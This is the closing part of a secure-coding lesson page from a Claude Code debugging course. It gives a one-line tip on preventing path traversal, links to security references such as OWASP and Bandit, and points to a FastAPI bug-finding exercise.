  • Path traversal allows reading system files — validate with Path.resolve() and is_relative_to()

Additional resources

  1. OWASP Top 10 — 2021 - The 10 most critical web vulnerabilities, updated
  2. FastAPI Security Tutorial - The official FastAPI security guide with OAuth2
  3. Bandit — Python Security Linter - A tool that detects common security issues in Python
  4. CWE/SANS Top 25 - The 25 most dangerous software weaknesses
  5. Python SQL Injection Prevention - A practical guide to preventing SQL injection in Python
  6. Mozilla Web Security Guidelines - Mozilla's web security guide for developers

Next capsule: Exercise: Identify Patterns — a FastAPI codebase with 5 errors to find and fix.

Debugging & Code Review with Claude Code — Module 5, Capsule 04 Claude Code Agentic Development Path — Guide #6 of 11

← PreviousUnhandled Edge CasesNext →Exercise: Identify Error Patterns